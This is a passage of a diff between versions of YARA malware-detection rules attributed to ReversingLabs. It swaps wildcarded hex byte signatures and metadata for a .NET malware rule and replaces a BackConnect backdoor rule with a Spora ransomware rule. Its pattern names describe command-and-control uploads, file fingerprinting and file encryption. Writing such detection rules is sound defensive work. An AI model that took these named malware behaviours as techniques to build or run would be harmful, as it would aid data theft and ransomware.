1F 44 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 69 13 ?? 12 ?? 28 ?? - ?? ?? ?? A2 25 18 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 65 13 ?? 12 ?? 28 ?? - ?? ?? ?? A2 25 1A 1F 63 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 74 13 ?? 12 ?? 28 ?? - ?? ?? ?? A2 25 1C 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F 72 13 ?? 12 ?? 28 ?? - ?? ?? ?? A2 25 1E 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 09 1F 20 13 ?? 12 ?? 28 - ?? ?? ?? ?? A2 25 1F 0A 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 66 13 ?? 12 - ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0D 11 ?? A2 - 25 1F 0E 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 - ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 73 ?? ?? ?? ?? - 13 ?? 1F 0B 8D ?? ?? ?? ?? 25 16 11 ?? A2 25 17 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 1F - 16 8D ?? ?? ?? ?? 25 16 1F 4D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 4D 13 ?? 12 ?? - 28 ?? ?? ?? ?? A2 25 18 1F 2F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 64 13 ?? 12 ?? - 28 ?? ?? ?? ?? A2 25 1A 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 2F 13 ?? 12 ?? - 28 ?? ?? ?? ?? A2 25 1C 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F 79 13 ?? 12 + $encrypt_files = { + 2B 02 26 16 20 04 ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 26 20 00 04 ?? ?? 73 ?? ?? ?? ?? 0C 20 05 ?? ?? ?? + 16 39 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 0B 38 ?? ?? ?? ?? 20 04 ?? ?? ?? FE ?? ?? ?? FE ?? ?? + ?? 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 ?? ?? ?? ?? 26 + 20 03 ?? ?? ?? 16 39 ?? ?? ?? ?? 26 00 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? + ?? ?? ?? 26 20 00 ?? ?? ?? 38 ?? ?? ?? ?? 00 00 08 06 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? + ?? ?? 26 20 03 ?? ?? ?? 38 ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 13 04 20 04 ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? + 26 00 08 07 17 28 ?? ?? ?? ?? 0D 38 ?? ?? ?? ?? 20 03 ?? ?? ?? FE ?? ?? ?? FE ?? ?? ?? 45 ?? ?? ?? ?? ?? ?? + ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 ?? ?? ?? ?? 26 20 02 ?? ?? ?? 38 ?? ?? ?? ?? 11 04 + 13 05 DD ?? ?? ?? ?? 00 08 16 28 ?? ?? ?? ?? 00 00 DC 08 14 FE 01 13 06 11 06 3A ?? ?? ?? ?? 08 28 ?? ?? ?? + ?? 00 DC 00 11 05 2A } - $get_files_and_directories_p2 = { - 28 ?? ?? ?? ?? A2 25 1E 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F 79 13 ?? 12 - ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 68 13 - ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 68 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0D 1F - 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F - 0F 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 10 1F 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 - 25 1F 11 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 12 1F 73 13 ?? 12 ?? 28 ?? ?? ?? - ?? A2 25 1F 13 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 14 1F 74 13 ?? 12 ?? 28 ?? - ?? ?? ?? A2 25 1F 15 1F 74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? - ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 1F 3C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 44 - 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 49 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 52 - 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F 3E 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 72 ?? - ?? ?? ?? A2 25 1F 09 11 ?? 6F ?? ?? ?? ?? A2 25 1F 0A 72 ?? ?? ?? ?? A2 28 ?? ?? ?? - ?? 13 ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 11 ?? 13 ?? 16 13 ?? 38 - ?? ?? ?? ?? 11 ?? 11 ?? 9A 73 ?? ?? ?? ?? 13 ?? 1F 0C 8D ?? ?? ?? ?? 25 16 11 ?? A2 - 25 17 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 1F 16 8D ?? ?? ?? ?? 25 16 1F 4D 13 ?? 12 ?? - 28 ?? ?? ?? ?? A2 25 17 1F 4D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F 2F 13 ?? 12 ?? - 28 ?? ?? ?? ?? A2 25 19 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 64 13 ?? 12 ?? - 28 ?? ?? ?? ?? A2 25 1B 1F 2F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 79 13 ?? 12 ?? - 28 ?? ?? ?? ?? A2 25 1D 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 79 13 ?? 12 ?? - 28 ?? ?? ?? ?? A2 25 1F 09 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 20 13 + $start_process = { + 2B ?? 26 16 20 10 ?? ?? ?? 38 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 20 ?? ?? ?? ?? + 38 ?? ?? ?? ?? 00 11 05 17 28 ?? ?? ?? ?? 20 06 ?? ?? ?? 38 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? + 0A 20 09 ?? ?? ?? 38 ?? ?? ?? ?? 00 11 05 08 28 ?? ?? ?? ?? 20 12 ?? ?? ?? 38 ?? ?? ?? ?? + 11 06 17 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 + ?? ?? ?? ?? 11 05 17 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 38 ?? ?? ?? ?? 11 06 19 20 ?? ?? ?? ?? + 28 ?? ?? ?? ?? A2 20 0F ?? ?? ?? 38 ?? ?? ?? ?? 1A 8D ?? ?? ?? ?? 13 06 20 02 ?? ?? ?? 38 + ?? ?? ?? ?? 00 11 04 28 ?? ?? ?? ?? 26 20 13 ?? ?? ?? 38 ?? ?? ?? ?? 08 09 28 ?? ?? ?? ?? + 20 07 ?? ?? ?? 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 05 38 ?? ?? ?? ?? 26 20 0D ?? ?? ?? 38 ?? + ?? ?? ?? 11 06 0D 38 ?? ?? ?? ?? 20 10 ?? ?? ?? FE ?? ?? ?? FE ?? ?? ?? 45 ?? ?? ?? ?? ?? + ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? + ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? + ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 20 08 ?? ?? ?? 17 3A ?? ?? ?? ?? + 26 11 06 18 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 20 00 ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? + 26 06 07 28 ?? ?? ?? ?? 0C 20 0B ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 26 11 06 16 20 ?? + ?? ?? ?? 28 ?? ?? ?? ?? A2 17 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 26 20 03 ?? ?? ?? 16 39 ?? ?? + ?? ?? 26 00 11 04 11 05 28 ?? ?? ?? ?? 20 0A ?? ?? ?? 17 3A ?? ?? ?? ?? 26 00 73 ?? ?? ?? + ?? 13 04 20 04 ?? ?? ?? 38 ?? ?? ?? ?? 2A } - $get_files_and_directories_p3 = { - 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 68 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 68 - 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0D 1F 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E - 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0F 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 - 1F 10 1F 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 11 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? - A2 25 1F 12 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 13 1F 20 13 ?? 12 ?? 28 ?? ?? - ?? ?? A2 25 1F 14 1F 74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 15 1F 74 13 ?? 12 ?? 28 - ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 1F 46 - 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 49 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 4C - 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 45 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 72 ?? - ?? ?? ?? A2 25 1E 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 09 72 ?? - ?? ?? ?? A2 25 1F 0A 11 ?? 6F ?? ?? ?? ?? A2 25 1F 0B 72 ?? ?? ?? ?? A2 28 ?? ?? ?? - ?? 13 ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 1F 0B 8D ?? ?? ?? ?? 25 - 16 11 ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? 8E 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 - 25 19 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 44 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 - 25 1B 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 - 25 1D 1F 28 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 - 25 1F 09 1F 29 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 72 ?? ?? ?? ?? A2 28 ?? ?? ?? - ?? 13 ?? 1F 0B 8D ?? ?? ?? ?? 25 16 11 ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? 8E - 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F + $msgbox_timer = { + 00 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 28 ?? ?? ?? ?? 0C + 00 02 7B ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 DE 12 08 14 FE 01 + 13 04 11 04 2D ?? 08 6F ?? ?? ?? ?? 00 DC 00 02 7B ?? ?? ?? ?? 16 32 0E 02 7B + ?? ?? ?? ?? 16 FE 04 16 FE 01 2B ?? 16 00 13 04 11 04 2D ?? 00 02 7B ?? ?? ?? + ?? 6F ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 38 ?? ?? ?? ?? 02 7B ?? + ?? ?? ?? 2D ?? 02 7B ?? ?? ?? ?? 2D ?? 02 7B ?? ?? ?? ?? 16 FE 01 16 FE 01 2B + ?? 17 00 13 04 11 04 2D ?? 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? + ?? 0D 09 17 6F ?? ?? ?? ?? 00 09 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 1F 40 28 ?? + ?? ?? ?? 26 00 38 ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 17 FE 04 16 FE 01 13 04 11 + 04 2D ?? 00 02 1F 3B 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 17 FE 04 16 FE 01 13 04 + 11 04 2D ?? 00 02 1F 3B 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 16 FE 01 13 04 11 04 + 2D ?? 02 25 7B ?? ?? ?? ?? 17 59 7D ?? ?? ?? ?? 00 2B ?? 02 25 7B ?? ?? ?? ?? + 17 59 7D ?? ?? ?? ?? 00 2B ?? 02 25 7B ?? ?? ?? ?? 17 59 7D ?? ?? ?? ?? 02 7B + ?? ?? ?? ?? 1F 09 FE 02 16 FE 01 13 04 11 04 2D ?? 02 7B ?? ?? ?? ?? 02 7C ?? + ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2B ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? + ?? 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? + ?? ?? ?? 1F 09 FE 02 16 FE 01 13 04 11 04 2D ?? 02 7B ?? ?? ?? ?? 02 7C ?? ?? + ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2B ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? + 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ?? + ?? ?? 1F 09 FE 02 16 FE 01 13 04 11 04 2D ?? 02 7B ?? ?? ?? ?? 02 7C ?? ?? ?? + ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2B ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 02 + 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 2A } - $upload_file_to_c2_p1 = { - 11 ?? 28 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 17 3E ?? ?? ?? ?? 11 ?? - 17 9A 17 8D ?? ?? ?? ?? 25 16 1F 22 9D 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 39 - ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 02 28 ?? ?? ?? ?? - 13 ?? 1F 0D 8D ?? ?? ?? ?? 25 16 1F 75 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 40 13 - ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 11 ?? A2 25 19 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 - 25 1A 28 ?? ?? ?? ?? A2 25 1B 1F 7C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 28 ?? ?? ?? - ?? A2 25 1D 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 11 ?? A2 25 1F 09 1F 40 13 ?? - 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 32 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 40 - 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 11 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 13 ?? - 02 02 7B ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 26 1F 1E 8D ?? ?? ?? ?? 25 16 1F 66 13 ?? - 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F 6C 13 ?? - 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 5B 13 ?? - 12 ?? 28 ?? ?? ?? ?? A2 25 1B 11 ?? A2 25 1C 1F 5D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 - 1D 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 - 1F 09 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 20 13 ?? 12 ?? 28 + $unzip_packed_file = { + 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 0B 06 07 2E ?? 07 06 28 ?? ?? ?? ?? 2D ?? 14 + 2A 02 73 ?? ?? ?? ?? 0C 16 8D ?? ?? ?? ?? 0D 08 6F ?? ?? ?? ?? 13 04 11 04 20 + ?? ?? ?? ?? 40 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 68 13 05 08 6F ?? ?? ?? ?? 13 06 + 08 6F ?? ?? ?? ?? 13 07 11 04 20 ?? ?? ?? ?? 33 ?? 11 05 1F 14 33 ?? 11 06 2D + ?? 11 07 1E 2E ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 08 6F ?? ?? ?? ?? 26 08 6F + ?? ?? ?? ?? 26 08 6F ?? ?? ?? ?? 26 08 6F ?? ?? ?? ?? 13 08 08 6F ?? ?? ?? ?? + 13 09 08 6F ?? ?? ?? ?? 13 0A 11 09 16 31 ?? 11 09 8D ?? ?? ?? ?? 13 0B 08 11 + 0B 16 11 09 6F ?? ?? ?? ?? 26 11 0A 16 31 ?? 11 0A 8D ?? ?? ?? ?? 13 0C 08 11 + 0C 16 11 0A 6F ?? ?? ?? ?? 26 08 6F ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 59 D4 8D ?? + ?? ?? ?? 13 0D 08 11 0D 16 11 0D 8E 69 6F ?? ?? ?? ?? 26 11 0D 73 ?? ?? ?? ?? + 13 0E 11 08 8D ?? ?? ?? ?? 0D 11 0E 09 16 09 8E 69 6F ?? ?? ?? ?? 26 14 13 0D + 38 ?? ?? ?? ?? 11 04 1F 18 63 13 0F 11 04 11 0F 1F 18 62 59 13 04 11 04 20 ?? + ?? ?? ?? 40 ?? ?? ?? ?? 11 0F 17 33 ?? 08 6F ?? ?? ?? ?? 13 10 11 10 8D ?? ?? + ?? ?? 0D 16 13 11 2B ?? 08 6F ?? ?? ?? ?? 13 12 08 6F ?? ?? ?? ?? 13 13 11 12 + 8D ?? ?? ?? ?? 13 15 08 11 15 16 11 15 8E 69 6F ?? ?? ?? ?? 26 11 15 73 ?? ?? + ?? ?? 13 14 11 14 09 11 11 11 13 6F ?? ?? ?? ?? 26 11 11 11 13 58 13 11 11 11 + 11 10 32 ?? 11 0F 18 33 ?? 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 13 16 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 17 11 16 11 17 17 + 28 ?? ?? ?? ?? 13 18 11 18 02 1A 02 8E 69 1A 59 6F ?? ?? ?? ?? 13 19 11 19 28 + ?? ?? ?? ?? 0D DE ?? 11 18 2C ?? 11 18 6F ?? ?? ?? ?? DC 11 0F 19 33 ?? 1F 10 + 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 1A 1F 10 8D ?? ?? ?? ?? 25 + D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 1B 11 1A 11 1B 17 28 ?? ?? ?? ?? 13 1C 11 1C + 02 1A 02 8E 69 1A 59 6F ?? ?? ?? ?? 13 1D 11 1D 28 ?? ?? ?? ?? 0D DE 17 11 1C + 2C ?? 11 1C 6F ?? ?? ?? ?? DC 72 B5 0E 00 70 73 ?? ?? ?? ?? 7A 08 6F ?? ?? ?? + ?? 14 0C 09 2A } - $upload_file_to_c2_p2 = { - A2 25 1F 0B 1F 75 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 70 13 ?? 12 ?? 28 ?? ?? - ?? ?? A2 25 1F 0D 1F 6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E 1F 6F 13 ?? 12 ?? 28 - ?? ?? ?? ?? A2 25 1F 0F 1F 61 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 10 1F 64 13 ?? 12 - ?? 28 ?? ?? ?? ?? A2 25 1F 11 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 12 1F 64 13 - ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 13 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 14 1F - 74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 15 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F - 16 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 17 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 - 25 1F 18 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 19 1F 72 13 ?? 12 ?? 28 ?? ?? ?? - ?? A2 25 1F 1A 1F 76 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1B 1F 65 13 ?? 12 ?? 28 ?? - ?? ?? ?? A2 25 1F 1C 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1D 1F 2E 13 ?? 12 ?? - 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 1F 0F 8D ?? ?? ?? ?? 25 16 1F - 66 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F - 6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F - 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 6E 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F + $resolve_assembly = { + 12 00 03 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 12 00 16 28 ?? ?? ?? ?? 0B 28 ?? ?? ?? ?? 07 + 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 72 ?? ?? ?? ?? 17 8D ?? ?? ?? ?? 13 13 11 13 16 1F + 2C 9D 11 13 6F ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 13 04 16 13 05 16 13 06 16 13 07 2B ?? + 09 11 07 9A 08 28 ?? ?? ?? ?? 2C 0A 09 11 07 17 58 9A 13 04 2B ?? 11 07 18 58 13 07 + 11 07 09 8E 69 17 59 32 ?? 11 04 6F ?? ?? ?? ?? 2D ?? 12 00 7B ?? ?? ?? ?? 6F ?? ?? + ?? ?? 2D ?? 28 ?? ?? ?? ?? 12 00 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 16 + 13 08 2B ?? 09 11 08 9A 08 28 ?? ?? ?? ?? 2C ?? 09 11 08 17 58 9A 13 04 2B ?? 11 08 + 18 58 13 08 11 08 09 8E 69 17 59 32 ?? 11 04 6F ?? ?? ?? ?? 16 3E ?? ?? ?? ?? 11 04 + 16 6F ?? ?? ?? ?? 1F 5B 33 ?? 11 04 1F 5D 6F ?? ?? ?? ?? 13 09 11 04 17 11 09 17 59 + 6F ?? ?? ?? ?? 13 0A 11 0A 1F 7A 6F ?? ?? ?? ?? 16 FE 04 16 FE 01 13 05 11 0A 1F 74 + 6F ?? ?? ?? ?? 16 FE 04 16 FE 01 13 06 11 04 11 09 17 58 6F ?? ?? ?? ?? 13 04 7E ?? + ?? ?? ?? 25 13 14 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 11 04 6F ?? ?? ?? ?? 2C ?? 7E ?? ?? + ?? ?? 11 04 6F ?? ?? ?? ?? 13 12 DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 04 6F ?? ?? ?? ?? + 13 0B 11 0B 39 ?? ?? ?? ?? 11 0B 6F ?? ?? ?? ?? 69 13 0C 11 0C 8D ?? ?? ?? ?? 13 0D + 11 0B 11 0D 16 11 0C 6F ?? ?? ?? ?? 26 11 05 2C ?? 11 0D 28 ?? ?? ?? ?? 13 0D 14 13 + 0E 11 06 2D ?? 11 0D 28 ?? ?? ?? ?? 13 0E DE 0C 26 17 13 06 DE ?? 26 17 13 06 DE ?? + 11 06 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 04 28 ?? ?? ?? ?? 13 0F 11 0F 28 ?? ?? + ?? ?? 26 11 0F 12 00 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 10 11 10 28 ?? + ?? ?? ?? 2D ?? 11 10 28 ?? ?? ?? ?? 13 11 11 11 11 0D 16 11 0D 8E 69 6F ?? ?? ?? ?? + 11 11 6F ?? ?? ?? ?? 11 10 14 1A 28 ?? ?? ?? ?? 26 11 0F 14 1A 28 ?? ?? ?? ?? 26 11 + 10 28 ?? ?? ?? ?? 13 0E DE ?? 26 DE ?? 7E ?? ?? ?? ?? 11 04 11 0E 6F ?? ?? ?? ?? 11 + 0E 13 12 DE ?? DE ?? 11 14 28 ?? ?? ?? ?? DC 14 2A 11 12 2A } condition: - uint16( 0 ) == 0x5A4D and ( all of ( $send_fingerprint_to_c2_p* ) ) and ( all of ( $get_files_and_directories_p* ) ) and ( all of ( $upload_file_to_c2_p* ) ) + uint16( 0 ) == 0x5A4D and ( ( $call_encrypt and $encrypt_files and $start_process ) or ( $msgbox_timer ) or ( $unzip_packed_file and $resolve_assembly ) ) } -rule REVERSINGLABS_Win64_Backdoor_Backconnect : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Spora : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects BackConnect backdoor." + description = "Yara rule that detects Spora ransomware." author = "ReversingLabs" - id = "2c65c7ea-8546-5423-a1e7-dc7c12663099" - date = "2025-04-11" - modified = "2025-04-11" + id = "f07ee1d4-d99b-5cbf-a1f0-a3802d9e3b47" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.BackConnect.yara#L1-L154" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Spora.yara#L1-L124" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7089d5f2dab21755e83ca81ea6cf0f8a55fa261fa2c556759812b16a3d78608a" + logic_hash = "4e18bb42277ce9194bf75fa45d95ea7e2bd51c5d7791d3d6e013fc07626e65b0" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "BackConnect" + tc_detection_type = "Ransomware" + tc_detection_name = "Spora" tc_detection_factor = 5 importance = 25 strings: - $network_communication_p1 = { - 48 89 5C 24 ?? 4C 89 44 24 ?? 48 89 4C 24 ?? 55 56 57 41 54 41 55 41 56 41 57 48 83 - EC ?? 45 33 F6 4C 8B EA 45 8B FE 41 8B 